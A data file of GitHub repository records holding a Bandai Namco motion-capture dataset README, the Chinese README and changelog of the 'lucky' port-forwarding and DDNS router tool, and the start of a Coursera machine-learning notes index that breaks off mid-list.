dataset is based on the motion of three professional actors, collected at the motion capture studio of Bandai Namco. We applied post-processing such as noise removal, proportion alignment, and clipping; and saved in BVH format. <img src='src/images/motion_capture_studio.png' width="50%"/> ## Citation Information The technical details regarding this dataset are described in the following paper. If you use this dataset, please consider citing the paper: [Motion Capture Dataset for Practical Use of AI-based Motion Editing and Stylization](https://arxiv.org/abs/2306.08861) ``` @misc{kobayashi2023motion, title={Motion Capture Dataset for Practical Use of AI-based Motion Editing and Stylization}, author={Makito Kobayashi and Chen-Chieh Liao and Keito Inoue and Sentaro Yojima and Masafumi Takahashi}, year={2023}, eprint={2306.08861}, archivePrefix={arXiv}, primaryClass={cs.CV} } ``` ## License The datasets and scripts are available in the following lincenses. - Bandai-Namco-Research-Motiondataset-1: [CC BY-NC 4.0](dataset/Bandai-Namco-Research-Motiondataset-1/LICENSE) - Bandai-Namco-Research-Motiondataset-2: [CC BY-NC 4.0](dataset/Bandai-Namco-Research-Motiondataset-2/LICENSE) - Motion visualization on Blender: [MIT](utils/blender/LICENSE) ## Related works As mentioned previously, the field of MST has been drawing attention as of late. If you are interested in this topic, please refer to the following non-exhaustive list of research and datasets. The models introduced in these papers show a high-level of performance and the datasets related to MST provide a wide variety of motion data. ### Papers - (Jurnal of Sensors 2021) A Cyclic Consistency Motion Style Transfer Method Combined with Kinematic Constraints [[Paper]](https://www.hindawi.com/journals/js/2021/5548614/) - (CVPR 2021) Autoregressive Stylized Motion Synthesis with Generative Flow [[Paper]](https://openaccess.thecvf.com/content/CVPR2021/papers/Wen_Autoregressive_Stylized_Motion_Synthesis_With_Generative_Flow_CVPR_2021_paper.pdf) - (CVPR 2021) Understanding Object Dynamics for Interactive Image-to-Video Synthesis [[Paper]](https://ieeexplore.ieee.org/document/9577842) - (ACM Trans. Graph 2020) Unpaired Motion Style Transfer from Video to Animation [[Paper]](https://deepmotionediting.github.io/papers/Motion_Style_Transfer-camera-ready.pdf) ### Datasets - Deep-motion-editing [[GitHub]](https://github.com/DeepMotionEditing/deep-motion-editing) - Ubisoft La Forge Animation Dataset [[GitHub]](https://github.com/ubisoft/ubisoft-laforge-animation-dataset) © [2022] Bandai Namco Research Inc. All Rights Reserved	This repository provides motion datasets collected by Bandai Namco Research Inc	null	0	4	2	13	8	1	0
gdy666/lucky	# Lucky(万吉) ## 注意：源码公布到1.4.10版本，后续暂无继续开源计划。 ## 麻烦各位大佬发表lucky相关教程的时候不要加上“开源”神器，开源二字我不配，lucky后续也没开源打算。 1.开源并不等于安全，闭源并不等于不安全。闭源软件开发也会受到安全人员的审查。无论是开源还是闭源软件，都有可能会受到各种安全人员的审查和研究。安全人员可以使用各种技术手段来检测软件的安全性和漏洞。 2. 个人观点lucky这种应用类软件更多只是体力活，毫无技术含量，开源的优势在于透明度和社区参与，更多劳动力参与，但也可能导致功能过多、复杂度增加的问题。闭源软件的优势在于我想怎么写就怎么写,即使还未能从lucky中获利，lucky对我也有更深的特殊含义。 3. 我对lucky的规划还有一大部分未实现，不想被人当免费劳动力使唤，不解释太多，就这样。 ## 如果您是第一次使用Lucky，请务必先访问 https://lucky666.cn ，并仔细阅读相关的文档，以获得必要的信息和答案。在这些文档中，您可以了解到Lucky的基本功能和特性，掌握Lucky的使用方法，以及解决常见的问题和疑惑。 <!-- TOC --> - [Lucky(万吉)](#) - [特性](#特性) - [一键安装](#一键安装) - [OpenwrtIPK包安装](#OpenwrtIPK包安装) - [使用](#使用) - [Docker中使用](#docker中使用) - [后台界面](#后台界面) - [开发编译](#开发编译) - [更新日志](#更新日志) - [使用注意与常见问题](#使用注意与常见问题) <!-- /TOC --> ## 特性 Lucky最初是作为一个小工具，由开发者为自己的个人使用而开发，用于替代socat，在小米路由AX6000官方系统上实现公网IPv6转内网IPv4的功能。Lucky的设计始终致力于让更多的Linux嵌入式设备运行，以实现或集成个人用户常用功能，降低用户的硬件和软件操作学习成本，同时引导使用者注意网络安全。随着版本更新和网友反馈，Lucky不断迭代改进，拥有更多功能和更好的性能，成为用户值得信赖的工具。 Lucky 的核心程序完全采用 Golang 实现，具有高效、稳定、跨平台等优点。其后台前端则采用 Vue3.2 技术进行开发，具有良好的用户体验和响应速度。此外，Lucky 的管理后台采用前后端分离的架构，第三方开发者也可以自由使用OpenToken轻松调用Lucky的各种功能接口。 ## 功能模块目前已经实现/集成的主要功能模块有 - 端口转发 - 动态域名(DDNS) - Web服务 - Stun内网穿透 - 网络唤醒 - 计划任务 - ACME自动证书 - 网络存储 ### 端口转发 1. 主要用于实现公网 IPv6 转内网 IPv4 的 TCP/UDP 端口转发。 2. 支持界面化的管理转发规则，用户可以通过 web 后台轻松地进行规则的添加、删除、修改等操作。 3. 单条转发规则支持设置多个转发端口，这样可以实现多个内网服务端口的转发。 4. 提供了一键开关和定时开关功能，用户可以根据自己的需求设置转发规则的开启和关闭时间，还可以使用计划任务模块进行定时开关。 5. 单条规则支持黑白名单安全模式切换，用户可以根据需要选择使用白名单模式或黑名单模式。 6. 白名单模式可以让没有安全验证的内网服务端口稍微安全一点暴露到公网，提高服务可用性。 7. 实时记录最新的访问日志，方便用户了解转发情况。 8. 规则列表日志一目了然，用户可以方便地追踪转发异常，及时进行排查和处理。 ### 动态域名(DDNS) 1. 支持接入多个不同的 DNS 服务商。 2. 支持全功能自定义回调（Callback），包括设置 BasicAuth，方便接入任意 DNS 服务商。 3. Webhook 支持自定义 headers。 4. 内置常用免费 DNS 服务商设置模板（每步、No-IP、Dynv6、Dynu），通过自定义回调进行快速接入，仅需修改相应用户密码或 token 即可一键填充。 ### Web服务 1. 支持反向代理、重定向和 URL 跳转。 2. 支持 HTTP 基本认证。 3. 支持 IP 黑白名单模式。 4. 支持 UserAgent 黑白名单。 5. 规则日志清晰易懂，便于追踪异常。 6. 支持一键开关规则和定时开关规则。 ### Stun内网穿透 1. 实现内网穿透，无需公网IPv4地址。 2. 适合于国内运营商级NAT1宽带网络. ### 网络唤醒 1. 支持远程控制唤醒和关机操作 2. 支持接入第三方物联网平台(点灯科技巴法云),可通过各大平台的语音助手控制设备唤醒和关机. ### 计划任务 1. 不依赖 Linux 系统的 Cron，支持 Windows 系统。 2. 操作简便，可视化编辑。 3. 可操作控制 Lucky 框架内的其他模块开关。 ### ACME自动证书 1. 支持 ACME 自动证书的申请和续签。 2. 支持 Cloudflare、阿里云和腾讯云三大 DNS 服务商。 ### 网络存储 1. 网络存储模块是一个应用范围广泛的模块，它提供了将本地存储、WebDAV和阿里云盘挂载到Lucky内部的各个文件类服务功能。 2. 通过网络存储模块，你可以将添加的存储挂载到Web服务的文件服务、WebDAV、FTP和FileBrowser模块，实现更加便捷的文件管理和访问。 ## 一键安装 - [一键安装详看这里](https://github.com/gdy666/lucky-files) ## OpenwrtIPK包安装 - [Openwrt IPK包](https://github.com/gdy666/luci-app-lucky) ## 使用 - 默认后台管理地址 http://<运行设备IP>:16601 默认登录账号: 666 默认登录密码: 666 - 常规使用请用 -cd <配置文件夹路径> 指定配置文件夹的方式运行 ```bash #仅指定配置文件夹路径(如果配置文件夹不存在会自动创建),建议使用绝对路径 lucky -cd luckyconf ``` ## Docker中使用 - 不挂载主机目录, 删除容器同时会删除配置 ```bash # host模式, 同时支持IPv4/IPv6, Liunx系统推荐 docker run -d --name lucky --restart=always --net=host gdy666/lucky # 桥接模式, 只支持IPv4, Mac/Windows推荐,windows 不推荐使用docker版本 docker run -d --name lucky --restart=always -p 16601:16601 gdy666/lucky ``` - 在浏览器中打开`http://主机IP:16601`，修改你的配置，成功 - [可选] 挂载主机目录, 删除容器后配置不会丢失。可替换 `/root/luckyconf` 为主机目录, 配置文件夹为lucky ```bash docker run -d --name lucky --restart=always --net=host -v /root/luckyconf:/goodluck gdy666/lucky ``` ## 后台界面 ![规则设置](./previews/relayruleset.png) ![规则列表](./previews/relayrules.png) ![](./previews/whitelistset.png) ![](./previews/whitelist.png) #### 动态域名服务 ![](./previews/ddnslist.png) ![](./previews/iphistroy.png) ![](./previews/webhookhistroy.png) ![](./previews/domainsync.png) #### Http反向代理 ![](./previews/reverseproxy.png) #### 网络唤醒 ![](./previews/wol001.png) ![](./previews/wol002.png) #开发编译 ```bash go build -v -tags "adminweb nomsgpack" -ldflags="-s -w" ``` # 更新日志 2024-04-05 v2.8.3 修复： 1. 修正了由于未关闭HTTP3开关而关闭TLS后导致的Web服务bug。新增： ACME：新增了“忽略传播检查错误”开关，建议开启新增了"通过DNS查询获取主域名"开关，不建议开启。自定义递归名称服务器设置。！除了“忽略传播检查错误”以外的其他开关均不建议开启。 FileBrowser：同步最新源码。 DDNS：添加/编辑任务时，自动对腾讯云/DnsPod类型纠错。全局设置更新：新增了“禁用同步时间”开关。新增了“禁用NTP时间同步相关日志”开关，用户可以自行管理相关日志记录。 2024-03-28 v2.8.2 1.优化2FA验证体验，现在允许与标准时间有30秒的误差. 2.修复了修改证书后导致中间证书丢失的bug 3.修复了无法上传证书key的bug 4.证书映射增加中间证书。 2024-03-26 v2.8.1 优化： 1. 安全入口修改后三秒即生效，无须重启程序。 2. 简化了ZeroSSL的使用流程，无需手动填写EAB信息，使ZeroSSL的使用变得和Let's Encrypt一样简单。 3. 2FA输入六位纯数字后自动登录。修复： 1. 修复了在使用反向代理nginx参数proxy_hide_header时无效的bug。 2. 修复了web服务前端域名大小写和中文识别的问题。 3. 修复了前端回车登录无效的bug。 4. 修复了DDNS 模块框架已知的bug。 5. 修复了反代群晖webdav修改移动文件出错的bug。新增： 1. Web服务现在默认支持HTTP/2。 2. Web服务新增了HTTP/3支持开关，并且可以针对单独的子规则禁用HTTP/3。 2024-03-14 v2.8.0 1. Lucky 默认配置现在启用了 HTTPS 管理端口，在首次运行时可以通过 https://IP:16601 访问 Lucky 后台。 2. 修复了 Web 服务中自定义 Nginx 配置格式判断错误的 bug。 3. 解决了在反向代理 Nextcloud 时导致日历相关数据未显示的 bug。 4. ACME 模块现在适配并支持 freessl.cn。 5. 移除了 Lucky 1.X 版本配置迁移相关代码，不再支持 1.X 版本配置的自动迁移。 6. 修复了 Lucky STUN模块内置转发中一处导致奔溃的 bug。 2024-03-03 v2.7.4 1. 修复了 WebDAV/Web 文件服务中前端所引用的第三方库链接问题，确保链接正常无误。 2. 在升级确认对话框中增加了备份 Lucky 配置的提示，以提高用户备份数据的意识和操作便捷性。 3. 现在在 Web 服务规则列表中，新增了添加和删除子规则的功能，使用户能够更灵活地管理规则。 4. 对已知的 bug 进行了修复， 2024-03-02 v2.7.3 1.优化web服务规则编辑机制，避免不必要的规则端口重启。（通过反代的luck后台去修改web服务规则不再出现网络错误） 2.webdav 安全入口访问修复。 3.尝试修复macos 浏览器选取lucky升级包支持。 2024-02-29 v2.7.2 1. 修复了Web服务文件服务类型存储列表显示故障，现在列表显示正常。 2. 新增了 Windows 版本的系统托盘菜单，现在支持 Windows 服务启动。用户可以选择在系统启动时启动程序，或选择使用 Windows 服务方式启动。请注意，使用 Windows 服务方式启动时不支持挂载存储分区。 3. 提升了前端 Web 服务规则编辑对话框的显示速度，用户编辑规则时体验更加流畅。 2024-02-27 v2.7.1 1. web服务模块重构 2. 修复已知bug 3. acme 增加CNAME验证方式支持 4. ddns增加 ODHCPD file方式获取局域网设备IPv6地址 5. FileBrowser 同步最新源码 2024-01-14 v2.6.2 1. 优化了ddns模块的任务细节操作。 2. 在lucky管理密码设置中增加了二次确认项。 3. 在登陆页面增加了重置密码的帮助入口。 4. 在ddns和stun Webhook测试中增加了演示数据提示。 5. 修复了已知的其他bug，包括处理webhook url中间带空格的转换问题。 6. 强迫症细节处理，修改ddns任务后，在任务类型不改变的情况下历史数据不会丢失。 7. 尝试修复了docker重启后阿里云盘挂载进webdav无显示的bug。 2024-01-11 v2.6.1 1. 修复了历史记录中未显示DDNS Webhook的bug。 2. 将DDNS Webhook和全局Webhook的历史记录分开。 3. 修复了禁用STUN模块后再启用时规则列表不显示的bug。 4. STUN功能增加了指定UPnP网关参数。 5. 将STUN Webhook和全局Webhook的历史记录分开。 6. 修复了调用OpenAPI时崩溃的bug。 7. 在DDNS和ACME服务商中添加了FreeMyIP。 2024-01-09 v2.6.0 1. 优化了ddns模块，重构了底层代码，提升了对接dns托管商的效率。 2. DDNS、ACME 模块同时支持以下dns托管商：阿里云，百度云，华为云，京东云，腾讯云，Cloudflare，DNSPod，Dynv6，GoDaddy，Name.com，Porkbun。 3. acme模块新增了HTTP验证方式。 4. STUN 模块增加了指定UPnP网关地址的参数设置。 5. 修复了其他已知的bug。 6. 更新了Filebrowser版本至2.27.0。 2023-12-13 v2.5.3 STUN穿透： 1.1 强制使用 TCP4 协议进行 stun 保活。 1.2 新增了对 UPnP 的支持， 1.3支持在禁用内置转发时自定义 UPnP/NAT-PMP 内部端口存储： 2.1 修复已知的 bug。 2.2 优化阿里云盘文件批量重命名速度。全局DNS设置： 1. 新增备用DNS2 2. 保存配置时不再检测dns可用性 2023-12-2 v2.5.2 1. 修复了winfsp复制大文件后，文件目录列表显示文件大小为0的 bug。 2. 修复了当可用安全证书为空时，导致启用 HTTPS 的 Lucky 启动后自动退出的 bug。 3. 修复了存储管理中本地存储路径启动时因路径无效而无显示的问题。 4. 修复了文件服务的 readme.md 文件内容没有显示在页面上。 5. 对文件服务前端页面进行了优化，以适配暗黑主题。 2023-11-30 v2.5.1 1.Winfsp a. 修复了导致由于文件名前后有空格而无法正确修改文件/文件夹名的bug。 b. 修复了多层文件夹无法一次性删除的bug. c. 改进了文件夹文件列表信息的缓存策略。 d. 挂载的阿里云盘显示真实容量。 2.Web服务模块 a. 新增了一个选项，允许在 Web 服务中限制最低的 TLS（传输层安全）版本，且新建规则默认的最低版本是 TLS 1.2。 b. 在 Web 服务规则编辑中，新增了批量修改前端域名的功能，方便批量操作。 3.STUN内网穿透增加公网地址变化时的脚本触发设置。 4.网络唤醒模块修复优化已经问题。 5.解决了设置 IPv6类型 DNS 失败的 bug。 2023-11-21 v2.5.0 1. filebrowser: 修复了存储模块已知的 bug，现在可以愉快地使用 filebrowser 管理阿里云盘。新增登录令牌有效期参数设置 2. Web 文件服务: 修复了跨域和短连接设置无效的问题。 3. Lucky新增登录令牌有效期设置参数和最大连续登录错误次数限制，提高账户安全性。 4. 增加定时 DNS 可用性检测，新增自定义DNS 和备用 DNS 设置，提供更稳定的网络连接。 5. 其他已知 bug 修复。 2023-11-13 v2.4.8 1. 修复存储模块中的一个问题，该问题导致在多目录设置下无法访问目录下的文件。 2. 修复了 RaiDrive 挂载 Lucky WebDAV 后无法写入阿里云盘的 bug。 3. 优化了 FileBrowser，在批量上传文件到阿里云盘驱动时的速度。 4. 对存储模块进行了底层优化和修复已知的 bug。 2023-11-08 v2.4.7 1. 修复反向代理lucky WebDAV无法修改文件名问题。 2. windows挂载分区:优化阿里云盘视频打开缓慢问题。 3. 修复无网络状态下启动lucky时阿里云盘代码引发的奔溃问题。 4. 升级 filebrowser 至 2.26.0版本。 5. 修复存储管理中 webdav 忽略证书验证开关无效问题,确保自签证书的 webdav 正常连接。 2023-11-01 v2.4.6 新增功能： 1. WebDAV 模块现在支持用户级前端显示设置。默认情况下，文件服务将显示在前端界面中。 Bug 修复： 1. 修复了阿里云盘授权过程中未获取写权限的 bug。如果您之前遇到写入失败的情况，请重新登录并进行授权。 2. 修复了WebDAV模块已知的 bug。 2023-10-30 v2.4.5 修复阿里云盘某些情况下写文件失败的bug 2023-10-29 v2.4.4 1. 修复了已知的存储读写 bug，提升了系统的稳定性和性能。 2. 在 acme 证书功能中，新增了保存中间证书的选项，提供更全面的证书信息。 3. 在 acme 证书申请功能中，增加了使用 IPv4 通道开关，以便用户根据需要进行灵活配置。 4. 优化了 Filebrowser 的适配，现在可以进行 WebDAV 存储的写操作，并对阿里云盘存储进行了写文件适配。这意味着用户可以方便地在 Filebrowser 中对阿里云盘存储进行文件的上传和管理操作。无论是上传文件还是对已有文件进行修改、删除等操作，用户都可以通过 Filebrowser 进行灵活的操作，并享受到更便捷的文件管理体验。 5. 在反代 WebDAV 后端时，解决了个别 WebDAV 客户端无法修改文件名的问题 6. 修复了 SSL 证书禁用后仍会自动续签的 bug，确保在禁用 SSL ACME 证书后不会进行自动续签。 2023-10-19 v2.4.1 1. 修复了存储写文件错误的BUG。 2. 优化了DDNS、Web服务和ACME证书处理和显示中文域名。 2023-10-18 v2.4.0 1.修复已知BUG 2.存储管理新增阿里云盘支持。 2023-09-22 v2.3.5 1. windows版 : WinFSP对接模块优化了缓存策略，解决了无法播放TS视频文件的问题。 2. SSL证书:新增了更多可选参数，以便更灵活地进行证书申请。 3. Web反代:增加了"万事大吉"开关，能够自动添加常用反代header。 4. 大吉内置FileBrowser:更新至版本2.25.0。 2023-08-27 v2.3.1 1. 优化 WebDav 存储读取性能，提升双重 WebDav 存储挂载的读取速度。 2. 在 Windows 版本中新增了系统托盘图标，方便用户一键设置或取消开机启动 Lucky。 3. 修复了在某些环境或软件下存储别名显示不正确的问题。 2023-08-25 v2.3.0 新增功能：网络存储分类下新增存储管理模块，支持：将WebDAV存储挂载到 Lucky的Web服务-文件服务模块、 FTP模块、WebDAV模块和FileBrowser模块。改进和优化： 2. 在Windows版中，现在可以将WebDAV存储挂载为网络位置或本地磁盘。请注意，此功能需要先安装WinFsp。 Bug修复：修复了一些已知问题，提升了软件的稳定性和性能。 2023-08-06 v2.2.4 1. 修复lucky 外网访问限制开关无效 2. 修复 ftp , webdav，filebrowser模块路径\|read只读模式识别错误 v2.2.3 1. 修复 FileBrowser 在挂载多个目录时修改文件名出错的问题。 2. 修复 FileBrowser 在挂载多个目录时复制文件出错的问题。 3. 修复在旧版 RaiDrive 下，WebDAV 挂载多个分区根目录时文件夹名显示异常的 bug。 4. 修复 FileBrowser 在挂载多个目录时分享文件异常的问题。 5. FileBrowser 的后台现在支持设置用户目录范围为多个目录，多个目录之间使用英文逗号（,）分割。 2023-08-05 v2.2.2 1. 修正了文件服务在显示软连接目录时的识别问题。 2. FileBrowser 现在支持将多个目录/文件设置为根目录。 2023-08-03 v2.2.1 1. acme优化，消除泛域名CNAME记录对证书申请的影响。注意：AdGuardHome 由于DNS缓存会对证书申请造成影响。 2. FTP模块支持软连接识别。 3. FTP/WebDAV模块：增加了同时挂载目录/文件的支持。文件会显示在根目录下。 4. 修复了FTP和WebDAV模块已知的bug。 5. Web服务新增静态文件服务支持。可用作静态网页服务器。前端支持视频/音频在线播放。支持自动展示readme.md文件内容。 6. 修复了恢复配置时没有恢复基础模块配置的bug。 2023-07-23 v2.1.3 1. 安全模块新增了证书映射功能，可以将证书同步复制到指定路径。支持证书内容变化后触发自定义脚本。 2. ACME 增加了代理服务器设置。 3. 支持编辑和修改证书。 4. Web 服务反向代理已移除覆盖有返回内容的错误页面的机制 2023-07-17 v2.1.2 1. 优化acme模块，模块占用体积减少超过1M,不再发布小桔版本。 2. ddns模块和acme模块对接dynv6 2023-07-11 v2.1.1 1.修复已知BUG 2.新增FTP服务模块 2023-07-08 v2.0.4 1.修复v2.0.1 在windows环境以及docker环境下各模块服务端口显示占用的bug. 2.Web服务的反向代理,当403状态码返回的内容是html格式的时候不再替换页面内容（解决反代openwrt后台无法显示页面的bug） 2023-07-05 v2.0.1 1. 进行了前后端架构的重构和优化。 2. 解决了在Linux systemd环境下无法通过lucky后台升级版本的问题。 3. 修改了acme预设的dns服务器，提高了申请证书的成功概率。 4. 将各功能模块的配置文件进行了分离，现在支持恢复配置文件，配置恢复同时支持1.X版本配置、lkcf单模块配置以及全局配置zip。请注意不要修改单模块lkcf配置的文件名。 5. 初始配置现在默认开启了外网访问。 6. Web服务反向代理现在新增了404和403页面提示，以应对不匹配规则的情况。 7. 修复了因为ssl证书下载后因为文件名带有*号而在Windows管理器中无法显示的bug。 8. 反向代理新增了追加客户端协议头到指定Header的功能 9. STUN穿透模块增加全局Stun服务器设置 10. WebDAV单用户支持挂载多目录 11. 反向代理后端地址支持指定路径 12. 反向代理 unraid不再需要填写/login 13. 反向代理增加使用请求Host开关 14. 反向代理支持自定义允许跨域的源和方法 2023-04-23 v1.10.8 1. 动态域名支持接入腾讯云API3.0 2023-04-22 v1.10.7 1.Webhook 新增支持PATCH 2.动态域名模块底层重构 3.Web服务模块修复已知BUG.新增端口冲突提醒 4.stun模块优化修复已知BUG. 2023-04-19 v1.10.6 1.新增后台登陆新增 2FA（TOTP）验证支持 2.修复后台关于页面显示信息错误 3.修复端口转发模块已知BUG. 4.新增端口转发端口被占用时提示。 2023-04-15 v1.10.3 1. 新增WebDAV模块 2. 新增内置FileBrowser(大吉版本独有) 3. 以后会同时发布三个版本 1.1 大吉包含全功能模块 1.2 lucky没有内置FileBrowser 1.3 小桔没有内置FileBrowser和ACME功能模块 4. 修复WebHook 请求主体不支持非JSON请求内容的BUG。 5. 优化前端发送请求错误时即刻跳转到登陆首页的流程。 2023-03-29 v1.9.3 1.修复添加SSL路径方式判断证书错误的BUG. 2.添加ACME证书时默认填充随机邮箱地址 3.ACME 新增 ZeroSLL、Let's Encrypt(测试)、自定义接口支持。 4.修改httprequest超时参数，避免DDNS查询IP阻塞 2023-03-25 v1.9.0 1.Web反向代理默认支持WebDAV。 2.设置新增OpenToken选项开关无须模拟登陆即可调用后端API。 3.修复断网情况下启动lucky，网络唤醒物联网平台无法重连BUG。 4.网络唤醒修复广播地址为空时处理异常的情况 5.各大模块规则设置加入默认简易模式，优化新手设置体验。 6.优化前端体验 7.Web服务前端域名/路径支持 8.反向代理规则增加跨域支持开关 9.Web规则列表点击前端域名自动复制完整链接 10.Web服务类型重定向和跳转的目标地址支持变量 {host},{port},{hostAndPort} 11.Web服务规则 http/https支持使用同一端口 12.Web服务模块日志分离，模块添加按钮旁边可以查看 13.默认不显示lucky后台设置里面的登陆密码 14.修复前端菜单模块列表偶尔不显示的bug 15.SSL证书管理加入自动证书功能，支持自动申请续签cloudflare,阿里云，腾讯云域名证书。 2023-03-13 v1.8.5 1.修复Web服务中反向代理host没有携带显式端口 2.捕获计划任务执行异常，防止程序奔溃。 3.web反代增加内置502提示页面。 2023-03-11 v1.8.3 1.网络唤醒 -客户端-第三方物联网平台设置新增跳过证书验证开关 2.Lucky设置新增GCSetPercent开关，对内存占用敏感的用户可以尝试打开开关调整SetPercent参数，提高GC触发频率。 3.动态域名服务指令获取IP方式新增支持管道指令 4.新增计划任务模块 5.设置页面增加windows服务管理 6.分离网络唤醒模块日志 7.新增ntp自动同步时间 8.优化后台菜单显示形式 9.stun 新增natpmp支持 2023-02-13 v1.7.21 1.各模块增加自动控制防火墙端口开关(仅针对linux iptables/ip6tables 有效) 2.修复使用linux systemd 服务管理的lucky无法在后台重启或者升级的bug 3.优化后台升级机制，docker也可以在后台上传tar.gz升级了。上传完成后需要手动关闭再开启一次容器。 4.DDNS 新增全局Webhook 5.STUN穿透新增全局Webhook 6.端口转发模块增加禁用开关 7.Stun穿透模块增加禁用模块开关 8.修复二级路由下设备无法唤醒的BUG 2023-1-15 v1.7.12 1.优化UDP转发性能 2.Web服务中的反向代理新增支持忽略后端tls证书验证 3.修复STUN穿透转发socks失败 4.优化stun通道检测&维持机制 5.stun穿透支持关闭lucky内置转发使用路由器转发在路由器设置端口转发规则（STUN通道端口指向需要代理的IP服务端口） 2022-12-24 v1.7.5 1.全局协程增加异常日志捕获机制。 2.优化网络唤醒客户端登录流程。修复由于电脑时间不准确导致无法连接服务端的问题 (建议被控制端的lucky也需要更新到此版本) 3.网络唤醒模块新增快捷控制页面。 (需要在网络唤醒服务端设置里面打开) 4.网络唤醒模块新增自定义设备上下线webhook功能。 2022-12-13 v1.7.4 DDNS模块新增自定义指令方式获取IP 2022-12-11 v1.7.3 修复使用STUN穿透TCP时占用CPU过高的BUG 2022-12-09 v1.7.2 1.新增STUN IPv4 内网穿透模块 2.反向代理模块改名为Web服务 3.Web服务增加跳转和重定向支持 2022-11-24 v1.6.2 1.加入后台登录日志 2.适配新版本luci-app-lucky 3.此版本开始以后会同时发布多平台openwrt ipk安装包 2022-11-15 v1.6.1 主要修复启动参数-p指定后台端口没有优先于配置文件相应参数导致luci-app-lucky版本用户在后台修改到被占用端口lucky无法启动的问题. 2022-11-12 v1.6.0 1.后台管理端口 http/https支持监听同一端口 2.新增后台支持直接上传tar.gz 文件一键升级/替换lucky版本. 3.新增自定义安全入口设置,安全隐藏后台地址. 4.修复网络唤醒客户端由于时间和服务端相差大于30秒时连接中止而没有不断重连的问题. 5.修复端口转发规则无法开关bug. 6.默认内嵌 http://curl.haxx.se/ca/cacert.pem CA证书,解决docker或个别嵌入式设备环境下需要关闭TLS验证才可以调用https接口的情况,默认不再跳过TLS证书验证. 2022-10-26 v1.5.1 1.新增网络唤醒模块 2.优化ddns服务 3.其它细节优化 2022-10-14 v1.4.10 1.修复特定情况下反向代理规则添加后无法编辑删除的bug. 2022-10-08 版本1.4.9 1.反向代理新增https支持。 2.加入SSL证书管理模块 3.后台接口支持HTTPS 4.端口转发模块重构优化，移除命令行配置功能,注意使用此版本后原来的端口转发配置会全部消失。 5.修复已知BUG. 6.源码不再和二进制版本同时发布. 。 ## 使用注意与常见问题 - 不同于防火墙端口转发规则,不要设置没有用上的端口,会增加内存的使用. - 小米路由 ipv4 类型的80和443端口被占用,但只设置监听tcp6(ipv6)的80/443端口转发规则完全没问题. - 如果需要使用白名单模式,请根据自身需求打开外网访问后台管理页面开关. - 转发规则启用异常,端口转发没有生效时请登录后台查看日志.	软硬路由公网神器,ipv6/ipv4 端口转发,反向代理,DDNS,WOL,ipv4 stun内网穿透,cron,acme,阿里云盘,ftp,webdav,filebrowser	ddns,ipv6,socat,ddns-go,stun,wol,cron,acme,letsencrypt,aliyunpan	30	2	1	64	0	1	0
greyhatguy007/Machine-Learning-Specialization-Coursera	# Machine Learning Specialization Coursera ![](/resources/title-head.png) Contains Solutions and Notes for the [Machine Learning Specialization](https://www.coursera.org/specializations/machine-learning-introduction/?utm_medium=coursera&utm_source=home-page&utm_campaign=mlslaunch2022IN) by Andrew NG on Coursera Note : If you would like to have a deeper understanding of the concepts by understanding all the math required, have a look at [Mathematics for Machine Learning and Data Science](https://github.com/greyhatguy007/Mathematics-for-Machine-Learning-and-Data-Science-Specialization-Coursera) <hr/> ## Course 1 : [Supervised Machine Learning: Regression and Classification ](https://www.coursera.org/learn/machine-learning?specialization=machine-learning-introduction) - [Week 1](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1) - [Practice quiz: Regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Practice%20quiz%20-%20Regression) - [Practice quiz: Supervised vs unsupervised learning](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Practice%20quiz%20-%20Supervised%20vs%20unsupervised%20learning) - [Practice quiz: Train the model with gradient descent](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Practice%20quiz%20-%20Train%20the%20model%20with%20gradient%20descent) - [Optional Labs](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Optional%20Labs) - [Model Representation](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Optional%20Labs/C1_W1_Lab03_Model_Representation_Soln.ipynb) - [Cost Function](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Optional%20Labs/C1_W1_Lab04_Cost_function_Soln.ipynb) - [Gradient Descent](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week1/Optional%20Labs/C1_W1_Lab05_Gradient_Descent_Soln.ipynb) <br/> - [Week 2](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2) - [Practice quiz: Gradient descent in practice](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Practice%20quiz%20-%20Gradient%20descent%20in%20practice) - [Practice quiz: Multiple linear regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Practice%20quiz%20-%20Multiple%20linear%20regression) - [Optional Labs](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/tree/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs) - [Numpy Vectorization](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab01_Python_Numpy_Vectorization_Soln.ipynb) - [Multi Variate Regression](https://github.com/greyhatguy007/Machine-Learning-Specialization-Coursera/blob/main/C1%20-%20Supervised%20Machine%20Learning%20-%20Regression%20and%20Classification/week2/Optional%20Labs/C1_W2_Lab02_Multiple_Variable_Soln.ipynb) - [Feature 